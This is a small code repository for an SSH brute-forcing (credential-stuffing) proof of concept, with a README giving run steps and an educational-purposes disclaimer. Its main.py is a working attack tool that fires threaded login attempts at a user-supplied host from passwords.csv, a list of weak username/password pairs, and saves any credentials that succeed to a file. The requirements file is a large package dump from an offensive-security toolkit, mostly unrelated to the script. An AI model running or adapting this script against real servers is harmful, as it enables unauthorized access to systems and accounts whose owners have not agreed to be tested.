├── README.md ├── main.py ├── passwords.csv └── requirements.txt /README.md: -------------------------------------------------------------------------------- 1 | # SSH Brute Forcing Script (Credential Stuffing) 2 | ## This code DOES NOT promote or encourage any illegal activities! The content in this document is provided solely for educational purposes and to create awareness! 3 | 4 | ## This is a proof of concept and could be improved on in a lot of ways. 5 | 1. To run this code use `git clone https://github.com/davidbombal/ssh_bruteforcing.git` 6 | 3. Create Virtual Environment in Windows. Using command `python -m venv sshbruteforcer_env` 7 | 4. Run command `source ./sshbruteforcer_env/bin/activate` 8 | 5. Run the command `pip install -r requirements.txt` to install all the packages required in your virtual environment. 9 | 6. Run `python main.py` this will run the program. 10 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import csv 2 | import ipaddress 3 | import threading 4 | import time 5 | import logging 6 | from logging import NullHandler 7 | from paramiko import SSHClient, AutoAddPolicy, AuthenticationException, ssh_exception 8 | 9 | 10 | # This function is responsible for the ssh client connecting. 11 | def ssh_connect(host, username, password): 12 | ssh_client = SSHClient() 13 | # Set the host policies. We add the new hostname and new host key to the local HostKeys object. 14 | ssh_client.set_missing_host_key_policy(AutoAddPolicy()) 15 | try: 16 | # We attempt to connect to the host, on port 22 which is ssh, with password, and username that was read from the csv file. 17 | ssh_client.connect(host,port=22,username=username, password=password, banner_timeout=300) 18 | # If it didn't throw an exception, we know the credentials were successful, so we write it to a file. 19 | with open("credentials_found.txt", "a") as fh: 20 | # We write the credentials that worked to a file. 21 | print(f"Username - {username} and Password - {password} found.") 22 | fh.write(f"Username: {username}\nPassword: {password}\nWorked on host {host}\n") 23 | except AuthenticationException: 24 | print(f"Username - {username} and Password - {password} is Incorrect.") 25 | except ssh_exception.SSHException: 26 | print("**** Attempting to connect - Rate limiting on server ****") 27 | 28 | # This function gets a valid IP address from the user. 29 | def get_ip_address(): 30 | # We create a while loop, that we'll break out of only once we've received a valid IP Address. 31 | while True: 32 | host = input("Please enter the host ip address: ") 33 | try: 34 | # Check if host is a valid IPv4 address. If so we return host. 35 | ipaddress.IPv4Address(host) 36 | return host 37 | except ipaddress.AddressValueError: 38 | # If host is not a valid IPv4 address we send the message that the user should enter a valid ip address. 39 | print("Please enter a valid ip address.") 40 | 41 | 42 | 43 | # The program will start in the main function. 44 | def __main__(): 45 | logging.getLogger('paramiko.transport').addHandler(NullHandler()) 46 | # To keep to functional programming standards we declare ssh_port inside a function. 47 | list_file="passwords.csv" 48 | host = get_ip_address() 49 | # This function reads a csv file with passwords. 50 | with open(list_file) as fh: 51 | csv_reader = csv.reader(fh, delimiter=",") 52 | # We use the enumerate() on the csv_reader object. This allows us to access the index and the data. 53 | for index, row in enumerate(csv_reader): 54 | # The 0 index is where the headings are allocated. 55 | if index == 0: 56 | continue 57 | else: 58 | # We create a thread on the ssh_connect function, and send the correct arguments to it. 59 | t = threading.Thread(target=ssh_connect, args=(host, row[0], row[1],)) 60 | # We start the thread. 61 | t.start() 62 | # We leave a small time between starting a new connection thread. 63 | time.sleep(0.2) 64 | # ssh_connect(host, ssh_port, row[0], row[1]) 65 | 66 | 67 | 68 | # We run the main function where execution starts. 69 | __main__() -------------------------------------------------------------------------------- /passwords.csv: -------------------------------------------------------------------------------- 1 | Username,Password 2 | root,password1234 3 | root,011584wb 4 | david,148068885 5 | root,235842035 6 | david,3953538 7 | root,040191flo 8 | root,43222933 9 | root,0508rabbit88 10 | root,?=z0W34rTMKAR>?lMoJGU$Ex0 11 | root,10393Ravens52 12 | root,798465132741lL 13 | root,10Vournl 14 | root,111126688 15 | root,1111oo11 16 | joe,123456 17 | david,1234567890 18 | david,qwerty1234 19 | claude,123321 20 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | adblockparser==0.7 2 | AdvancedHTTPServer==2.2.0 3 | aiocmd==0.1.2 4 | aioconsole==0.3.1 5 | aiodns==3.0.0 6 | aiofiles==0.8.0 7 | aiohttp==3.8.1 8 | aiomultiprocess==0.8.0 9 | aioredis==1.3.1 10 | aiosignal==1.2.0 11 | aiosmb==0.2.50 12 | aiosqlite==0.17.0 13 | aiowinreg==0.0.7 14 | ajpy==0.0.4 15 | alembic==1.7.6.dev0 16 | altgraph==0.17.2 17 | aniso8601==9.0.1 18 | anyio==3.6.1 19 | apispec==5.2.2 20 | apispec-webframeworks==0.5.2 21 | appdirs==1.4.4 22 | APScheduler==3.9.1 23 | arrow==1.2.2 24 | asciitree==0.3.3 25 | asgiref==3.5.0 26 | asn1crypto==1.5.1 27 | async-timeout==4.0.1 28 | asysocks==0.1.2 29 | attrs==21.2.0 30 | autobahn==22.1.1 31 | Automat==20.2.0 32 | Babel==2.8.0 33 | backcall==0.2.0 34 | backoff==1.11.1 35 | base58==1.0.3 36 | bcrypt==3.2.0 37 | beautifulsoup4==4.11.1 38 | bidict==0.21.3 39 | binwalk==2.3.3 40 | bleach==5.0.0 41 | blinker==1.4 42 | bluepy==1.3.0 43 | boltons==21.0.0 44 | bottle==0.12.21 45 | Bottleneck==1.3.2 46 | Brlapi==0.8.4 47 | Brotli==1.0.9 48 | catfish==4.16.4 49 | cbor==1.0.0 50 | censys==2.0.9 51 | certifi==2020.6.20 52 | cffi==1.15.1 53 | chardet==4.0.0 54 | charset-normalizer==2.0.6 55 | cheroot==8.6.0+ds1 56 | CherryPy==18.8.0 57 | cherrypy-cors==1.6 58 | cli-helpers==2.2.1 59 | click==8.0.3 60 | click-plugins==1.1.1 61 | cmd2==0.0.0 62 | colorama==0.4.5 63 | commonmark==0.9.1 64 | configobj==5.0.6 65 | constantly==15.1.0 66 | crackmapexec==5.2.2 67 | cryptography==3.4.8 68 | cycler==0.11.0 69 | Cython==0.29.30 70 | dataclasses-json==0.5.7 71 | dbus-python==1.2.18 72 | debtags==2.1 73 | decorator==4.4.2 74 | defusedxml==0.7.1 75 | dicttoxml==1.7.4 76 | distlib==0.3.5 77 | distro==1.7.0 78 | Django==3.2.13 79 | dnslib==0.9.19 80 | dnspython==2.2.1 81 | docopt==0.6.2 82 | donut-shellcode==0.9.3 83 | dropbox==11.30.0 84 | dsinternals==1.2.4 85 | ecdsa==0.18.0 86 | email-validator==1.1.2 87 | et-xmlfile==1.0.1 88 | ExifRead==3.0.0 89 | faraday-agent-parameters-types==1.0.3 90 | faraday-cli==2.1.6 91 | faraday-plugins==1.6.8 92 | faradaysec==4.0.4 93 | fastapi==0.74.1 94 | feedparser==6.0.8 95 | fierce==1.5.0 96 | filedepot==0.5.2 97 | filelock==3.7.1 98 | filteralchemy==0.1.0 99 | flasgger==0.9.5 100 | Flask==2.0.1 101 | Flask-Classful==0.14.1 102 | Flask-KVSession-fork==0.6.4 103 | Flask-Limiter==1.0.1 104 | Flask-Login==0.5.0 105 | Flask-Mail==0.9.1 106 | Flask-Principal==0.4.0 107 | Flask-RESTful==0.3.9 108 | Flask-Security-Too==4.0.0 109 | Flask-SocketIO==5.0.1 110 | Flask-SQLAlchemy==2.5.1 111 | Flask-WTF==0.14.3 112 | flatbuffers==2.0.6+dfsg1.1 113 | fonttools==4.32.0 114 | frozenlist==1.2.0 115 | fs==2.4.16 116 | future==0.18.2 117 | GDAL==3.5.1 118 | geoip2==2.9.0 119 | geojson==2.5.0 120 | gitdb==4.0.9 121 | GitPython==3.1.27 122 | gpg==1.17.1 123 | graphene==2.1.9 124 | graphene-sqlalchemy==2.1.2 125 | graphql-core==2.2.1 126 | graphql-relay==2.0.1 127 | greenlet==1.1.2 128 | h11==0.13.0 129 | h2==4.1.0 130 | hashID==3.1.4 131 | hiredis==1.0.1 132 | hpack==4.0.0 133 | html2text==2020.1.16 134 | html5lib==1.1 135 | httpagentparser==1.9.1 136 | httpcore==0.15.0 137 | httpx==0.23.0 138 | humanize==0.0.0 139 | hupper==1.10.3 140 | hyperframe==6.0.0 141 | hyperlink==21.0.0 142 | icalendar==4.0.3 143 | idna==3.3 144 | impacket==0.10.0 145 | importlib-metadata==4.6.4 146 | incremental==21.3.0 147 | iniconfig==1.1.1 148 | invoke==1.7.0 149 | ipwhois==0.15.1 150 | IPy==1.1 151 | ipython==7.31.1 152 | itsdangerous==2.1.2 153 | jaraco.classes==3.2.1 154 | jaraco.collections==3.5.1 155 | jaraco.context==4.1.1 156 | jaraco.functools==3.5.0 157 | jaraco.text==3.7.0 158 | jdcal==1.0 159 | jedi==0.18.0 160 | Jinja2==3.0.3 161 | jq==1.2.1 162 | jsonschema==3.2.0 163 | kaitaistruct==0.9 164 | kali-tweaks==2022.3.0 165 | KismetCaptureBtGeiger==2021.7.1 166 | KismetCaptureFreaklabsZigbee==2018.7.0 167 | KismetCaptureRtl433==2020.10.1 168 | KismetCaptureRtladsb==2020.10.1 169 | KismetCaptureRtlamr==2020.10.1 170 | kiwisolver==1.3.2 171 | ldap3==2.9.1 172 | ldapdomaindump==0.9.3 173 | lightdm-gtk-greeter-settings==1.2.2 174 | limiter==0.1.2 175 | limits==1.5.1 176 | llvmlite==0.38.1 177 | log-symbols==0.0.14 178 | louis==3.22.0 179 | lsassy==3.1.1 180 | lxml==4.9.1 181 | lz4==4.0.0+dfsg 182 | macholib==1.16 183 | Mako==1.1.3 184 | Markdown==3.4.1 185 | MarkupSafe==2.0.1 186 | marshmallow==3.15.0 187 | marshmallow-enum==1.5.1 188 | marshmallow-sqlalchemy==0.28.0 189 | matplotlib==3.5.2 190 | matplotlib-inline==0.1.3 191 | maxminddb==2.0.3 192 | mechanize==0.4.8 193 | minidump==0.0.21 194 | minikerberos==0.2.14 195 | mistune0==0.8.4 196 | mitmproxy==8.1.1 197 | mnemonic==0.19 198 | more-itertools==8.10.0 199 | mpmath==0.0.0 200 | msgpack==1.0.3 201 | msldap==0.3.30 202 | multidict==5.1.0 203 | mypy-extensions==0.4.3 204 | mysqlclient==1.4.6 205 | nassl==4.0.2 206 | neo4j==1.7.0.dev0 207 | neobolt==1.7.17 208 | neotime==1.7.4 209 | netaddr==0.8.0 210 | netifaces==0.11.0 211 | networkx==2.6.3 212 | nplusone==1.0.0 213 | ntlm-auth==1.4.0 214 | ntpsec==1.2.1 215 | numba==0.55.2 216 | numexpr==2.8.3 217 | numpy==1.21.5 218 | odfpy==1.4.2 219 | olefile==0.46 220 | onboard==1.4.1 221 | openpyxl==3.0.9 222 | packaging==21.3 223 | pandas==1.3.5 224 | paramiko==2.10.4 225 | parso==0.8.1 226 | passlib==1.7.4 227 | Paste==3.5.0 228 | PasteDeploy==2.1.1 229 | PasteScript==2.0.2 230 | patator==0.9 231 | pcapy==0.11.5.dev0 232 | pefile==2022.5.30 233 | pendulum==2.1.2 234 | pexpect==4.8.0 235 | pgcli==3.4.1 236 | pgspecial==1.11.10 237 | phonenumbers==8.12.1 238 | pickleshare==0.7.5 239 | Pillow==9.2.0 240 | plaster==1.0 241 | plaster-pastedeploy==0.5 242 | platformdirs==2.5.2 243 | pluggy==1.0.0+repack 244 | pluginbase==1.0.1 245 | ply==3.11 246 | portend==3.1.0 247 | prettytable==2.5.0 248 | promise==2.3 249 | prompt-toolkit==3.0.30 250 | protobuf==3.12.4 251 | psycopg2==2.9.2 252 | ptyprocess==0.7.0 253 | publicsuffix2==2.20191221 254 | publicsuffixlist==0.7.10 255 | py==1.10.0 256 | py-sneakers==1.0.1 257 | py-ubjson==0.16.1 258 | pyasn1==0.4.8 259 | pyasn1-modules==0.2.8 260 | pycairo==1.20.1 261 | pycares==4.1.2 262 | pycparser==2.21 263 | pycryptodomex==3.11.0 264 | pycurl==7.44.1 265 | pydantic==1.9.0 266 | PyDispatcher==2.0.5 267 | pydot==1.4.2 268 | pyee==9.0.4 269 | pyExploitDb==0.2.0 270 | pyfiglet==0.8.post0 271 | pygame==2.1.2 272 | pygexf==0.2.2 273 | Pygments==2.12.0 274 | PyGObject==3.42.1 275 | pygraphviz==1.7 276 | PyHamcrest==2.0.2 277 | pyinotify==0.9.6 278 | PyInstaller==3.5+498e6ee058 279 | PyJWT==2.4.0 280 | pylnk3==0.4.2 281 | pyminifier==2.1 282 | pymssql==2.2.2 283 | PyMySQL==1.0.2 284 | PyNaCl==1.5.0 285 | PyOpenGL==3.1.5 286 | pyOpenSSL==21.0.0 287 | pyotp==2.6.0 288 | pyparsing==3.0.7 289 | PyPDF2==2.6.0 290 | pyperclip==1.8.2 291 | pypng==0.0.20 292 | pyppeteer==0.2.5 293 | pypsrp==0.5.0 294 | pypykatz==0.4.9 295 | PyQRCode==1.2.1 296 | PyQt5==5.15.7 297 | PyQt5-sip==12.11.0 298 | pyqtgraph==0.12.4 299 | pyramid==2.0 300 | pyrsistent==0.18.1 301 | pyserial==3.5 302 | pyShodan==0.2.3 303 | pysmi==0.3.2 304 | pysnmp==4.4.12 305 | PySocks==1.7.1 306 | pyspnego==0.1.5 307 | pytest==7.1.2 308 | python-apt==2.3.0+b2 309 | python-dateutil==2.8.1 310 | python-debian==0.1.46 311 | python-docx==0.8.11 312 | python-dotenv==0.20.0 313 | python-engineio==4.0.0 314 | python-magic==0.4.26 315 | python-pam==2.0.2 316 | python-pptx==0.6.18 317 | python-slugify==4.0.0 318 | python-snappy==0.5.3 319 | python-socketio==5.0.3 320 | python-status==1.0.1 321 | PyTrie==0.4.0 322 | pytz==2022.1 323 | pytz-deprecation-shim==0.1.0.post0 324 | pytzdata==2020.1 325 | pyVNC==0.1 326 | pywerview==0.3.2 327 | pyxdg==0.27 328 | PyYAML==5.4.1 329 | qrcode==7.3.1 330 | Quamash==0.6.1 331 | redis==3.5.3 332 | repoze.lru==0.7 333 | requests==2.27.1 334 | requests-file==1.5.1 335 | requests-ntlm==1.1.0 336 | requests-toolbelt==0.9.1 337 | responses==0.18.0 338 | retrying==1.3.3 339 | rfc3986==1.5.0 340 | rich==12.4.4 341 | Routes==2.5.1 342 | rq==1.10.1 343 | ruamel.yaml==0.17.16 344 | ruamel.yaml.clib==0.2.6 345 | rule-engine==1.1.0 346 | Rx==3.2.0 347 | scapy==2.4.4 348 | scipy==1.7.3 349 | secure==0.3.0 350 | service-identity==18.1.0 351 | setproctitle==1.2.2 352 | sgmllib3k==1.0.0 353 | shodan==1.28.0 354 | simple-rest-client==1.1.3 355 | simplejson==3.17.6 356 | simplekv==0.13.0 357 | six==1.16.0 358 | slowapi==0.1.4 359 | smmap==5.0.0 360 | smoke-zephyr==2.0.1 361 | sniffio==1.2.0 362 | sortedcontainers==2.4.0 363 | soupsieve==2.3.2 364 | speaklater==1.4 365 | spinners==0.0.24 366 | spyse-python==2.2.3 367 | SQLAlchemy==1.4.31 368 | sqlalchemy-schemadisplay==1.3 369 | SQLAlchemy-Utc==0.11.0 370 | sqlparse==0.4.2 371 | sslyze==5.0.5 372 | starlette==0.18.0 373 | stone==3.3.1 374 | sympy==1.10.1 375 | syslog-rfc5424-formatter==1.2.2 376 | tables==3.7.0 377 | tabulate==0.8.9 378 | Tempita==0.5.2 379 | tempora==5.0.1 380 | termcolor==1.1.0 381 | terminaltables==3.1.0 382 | texttable==1.6.4 383 | theHarvester==4.0.3 384 | tld==0.11.11 385 | tls-parser==1.2.2 386 | token-bucket==0.3.0 387 | tomli==2.0.1 388 | tornado==6.1 389 | tqdm==4.64.0 390 | traitlets==5.3.0 391 | translationstring==1.4 392 | Twisted==22.4.0 393 | txaio==21.2.1 394 | typing-extensions==3.10.0.2 395 | typing-inspect==0.7.1 396 | tzlocal==4.2 397 | u-msgpack-python==2.3.0 398 | ufoLib2==0.13.1 399 | ujson==5.4.0 400 | unicodecsv==0.14.1 401 | unicodedata2==14.0.0 402 | Unidecode==1.3.4 403 | urllib3==1.26.9 404 | urwid==2.1.2 405 | uvicorn==0.17.6 406 | uvloop==0.16.0 407 | validators==0.20.0 408 | venusian==3.0.0 409 | virtualenv==20.15.0+ds 410 | wafw00f==2.2.0 411 | wapiti3==3.0.4 412 | wcwidth==0.2.5 413 | webargs==8.0.1 414 | webencodings==0.5.1 415 | WebOb==1.8.6 416 | websocket-client==1.2.3 417 | websockets==10.2 418 | websockify==0.10.0 419 | Werkzeug==2.0.2 420 | wfuzz==3.1.0 421 | whois==0.8 422 | wifite==2.6.0 423 | winacl==0.1.2 424 | wsaccel==0.6.3 425 | wsproto==1.1.0 426 | WTForms==2.2.1 427 | xdg==5 428 | xlrd==1.2.0 429 | XlsxWriter==3.0.2 430 | xlutils==2.0.0 431 | xlwt==1.3.0 432 | xmltodict==0.12.0 433 | yara-python==4.2.0 434 | yarl==1.7.2 435 | yaswfp==0.9.3 436 | zc.lockfile==2.0 437 | zipp==1.0.0 438 | zlib-wrapper==0.1.3 439 | zope.deprecation==4.4.0 440 | zope.interface==5.4.0 441 | --------------------------------------------------------------------------------